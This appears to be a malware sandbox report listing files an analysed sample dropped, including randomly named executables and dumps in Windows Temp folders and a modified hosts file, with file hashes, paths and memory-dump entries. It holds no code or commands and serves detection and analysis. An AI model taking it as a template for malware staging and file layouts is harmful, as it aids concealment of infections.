Size 45.4MB
SHA256 311ab07027963c192a4f60bbc3b22b635accfaa426f31438cade0e4b72a9dff9
MD5 394db255b75a6fb6a25b2d6f6ee59cc0
SHA1 8f092d52a7819115890468f69b6cba980be47884
SHA512 e620142ead76ef1d46b64514aebb9e6367a0bbef5e7f0fd7a245f681ec612abe4192a10ea892a6f8edb7920c88a36a86c600e3e19275ce14942c3274fb947823
SSDEEP 196608:RNk81uHRcwnRhwSZ2U7UdoKn6pb7GZquhdXViyhD8Wm8F5Q2wGBhJ81S:RruHRcwnsiyhD8WmR2wGj21S
MD5 SHA1 SHA512 SSDEEP

Submit Download

5008.dmp

Path C:\Windows\TEMP\cbqgwgbak\5008.dmp
Size 25.8MB
SHA256 44d9e246df78206449d508b24592501fc5368c4c4c267a6b450a466252d6bb04
MD5 9d2811d66cb7394ea485d0a820bdef98
SHA1 a40470096cac6e2f38b09ea45ee958de62f28bdb
SHA512 e5b8caff9c9f69d4a1bf37195efff41f95a8a530b474855c6837349b42f83061fb3a7917216c9e0aac8fdd1822e4d78584fe2935c23d00c4bb959e1314d4eada
SSDEEP 98304:e5lnImDVvL3QEkEtpG1C5m3firW6SLWZiw2k:m1gC
MD5 SHA1 SHA512 SSDEEP

Submit Download

756.dmp

Path C:\Windows\TEMP\cbqgwgbak\756.dmp
Size 995KB
SHA256 efb9f724c3fd10e055339b43b914a85a4606cf493e485b6f4ecb55537ee00694
MD5 54f261d9c4431392f102d94329627ec3
SHA1 6d5f79fe26abede457da58dec027e699e7dac52f
SHA512 9ade185622cd313d88082b2150448a215aaf45b408bef554cbdfa3b9b4a62428b8d2b8ba335cc200f874c136e676acf087484bca6ab0f2d0342579fb45643947
SSDEEP 6144:nOtkZrcEoR7XuHYaemTKa83a+dMHS90QQyyAeqIo2C5oMeRL:nOtjR7XuHYR3a+jyNo95oMeRL
MD5 SHA1 SHA512 SSDEEP

Submit Download

config.json

Path C:\Windows\TEMP\cwmulkufu\config.json
Size 693B
SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
MD5 f2d396833af4aea7b9afde89593ca56e
SHA1 08d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA512 2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
MD5 SHA1 SHA512

Submit Download

blirnnmwb.exe

Path C:\Windows\Temp\cbqgwgbak\blirnnmwb.exe
Size 126KB
SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
MD5 e8d45731654929413d79b3818d6a5011
SHA1 23579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA512 df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
SSDEEP 3072:S87vdHRv2cf+xfkXQcsjBefXMTpmaRh+X7/UB7aglybvczXEXVHL:S8Nx2kRQRtmXuxROcBeiyb0XE
MD5 SHA1 SHA512 SSDEEP

Submit Download

yakbjd.exe

Path C:\Windows\Temp\cwmulkufu\yakbjd.exe
Size 343KB
SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
MD5 2b4ac7b362261cb3f6f9583751708064
SHA1 b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA512 c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
SSDEEP 6144:cBEXyznIpc98DW/X0w/c766ITRMwclkAAOY7K+JvDtidlO:b2IpxDW/ps664RMJlrABcm
MD5 SHA1 SHA512 SSDEEP

Submit Download

System.dll

Path C:\Windows\Temp\nsm2FB8.tmp\System.dll
Size 11KB
SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
MD5 2ae993a2ffec0c137eb51c8832691bcb
SHA1 98e0b37b7c14890f8a599f35678af5e9435906e1
SHA512 2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
SSDEEP 192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn
MD5 SHA1 SHA512 SSDEEP

Submit Download

nsExec.dll

Path C:\Windows\Temp\nsm2FB8.tmp\nsExec.dll
Size 6KB
SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
MD5 b648c78981c02c434d6a04d4422a6198
SHA1 74d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA512 219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
SSDEEP 96:U7GUxNkO6GR0t9GKKr1Zd8NHYVVHp4dEeY3kRnHdMqqyVgNN3e:mXhHR0aTQN4gRHdMqJVgNE
MD5 SHA1 SHA512 SSDEEP

Submit Download

xohudmc.exe

Path C:\Windows\Temp\xohudmc.exe
Size 72KB
SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
MD5 cbefa7108d0cf4186cdf3a82d6db80cd
SHA1 73aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA512 b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
SSDEEP 1536:NG6YL0tJYtg0M4xbVBjuvvWEePjnjnWklU1Y8HOS:kotJYtg0Mu3jY+EL3Y8HOS
MD5 SHA1 SHA512 SSDEEP

Submit Download

vfshost.exe

Path C:\Windows\cbqgwgbak\Corporate\vfshost.exe
Size 381KB
SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
MD5 fd5efccde59e94eec8bb2735aa577b2b
SHA1 51aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA512 74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
SSDEEP 6144:Nb2oBq5C4PmDv0Jdu3mU0S7hJkb6HtJCUzMwF0Smf9dBYOZBiTsGsDA:Nb2oh4PmDv0m3mZ2q6H/CUzMwFVUdbTE
MD5 SHA1 SHA512 SSDEEP

Submit Download

abejbmtbe.exe

Path C:\Windows\cbqgwgbak\glcnqktpu\abejbmtbe.exe
Size 332KB
SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
MD5 ea774c81fe7b5d9708caa278cf3f3c68
SHA1 fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA512 7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
SSDEEP 6144:Ivx5xQU1qp9wIirKxl+mdzGaqdWa/fx9cufQNn8QOohgM4nK6mwBLaq:+x71qpeIirCl+mKdWa/IuOn8QOcgPNg
MD5 SHA1 SHA512 SSDEEP

Submit Download

wpcap.exe

Path C:\Windows\cbqgwgbak\glcnqktpu\wpcap.exe
Size 424KB
SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
MD5 e9c001647c67e12666f27f9984778ad6
SHA1 51961af0a52a2cc3ff2c4149f8d7011490051977
SHA512 56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe
SSDEEP 6144:QMfCdwTjPBATlmSfB0KYljf/ZH/6xNEN3MUFPuprkjUhUmpqV/TW6cDBvKasW6B:tCdM9AhHfTYexNYeFkyU/JTg1KRp
MD5 SHA1 SHA512 SSDEEP

Submit Download

vevbrhb.exe

Path C:\Windows\ibbkgibu\vevbrhb.exe
Size 8.5MB
SHA256 5a69e4a459f7c0eb203be7820af62c26ccb5ada5c79626741a835ceee46da1a9
MD5 930e084c6340dd623675148f690bf1f4
SHA1 5857d880a7b3e92297b6bd73bb76140b2653e661
SHA512 8aedfce1ce689a4e119dfa73c67e7d00b56d795df4ed214a4d13dee9100164525335f279a8447d3d3578b5f864149c98d904652b3851fbb3b0b666ba203f1b55
SSDEEP 196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
MD5 SHA1 SHA512 SSDEEP

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53
MD5 c838e174298c403c2bbdf3cb4bdbb597
SHA1 70eeb7dfad9488f14351415800e67454e2b4b95b
SHA512 c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376
MD5 SHA1 SHA512

Submit Download

memory/32-178-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/1140-191-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/1496-187-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/1680-170-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/1920-227-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/1956-136-0x00007FF7F89D0000-0x00007FF7F8ABE000-memory.dmp

Download

memory/1956-137-0x00007FF7F89D0000-0x00007FF7F8ABE000-memory.dmp

Download

memory/2028-78-0x0000000000A30000-0x0000000000A7C000-memory.dmp

Download

memory/2244-161-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/2244-151-0x0000000010000000-0x0000000010008000-memory.dmp

Download

memory/2532-141-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/2532-149-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/2916-196-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/3364-218-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/3384-235-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/3472-230-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/3588-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Download

memory/3932-248-0x0000000000310000-0x0000000000322000-memory.dmp

Download

memory/4236-205-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/4236-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Download

memory/4236-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Download

memory/4328-174-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/4348-209-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/4480-269-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-199-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-251-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-211-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-225-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-270-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-164-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-167-0x0000018AB5FD0000-0x0000018AB5FE0000-memory.dmp

Download

memory/4480-266-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-233-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-181-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-267-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-238-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4480-193-0x00007FF719920000-0x00007FF719A40000-memory.dmp

Download

memory/4492-214-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/4936-183-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/4992-237-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/5068-201-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download

memory/5108-232-0x00007FF7C5600000-0x00007FF7C565B000-memory.dmp

Download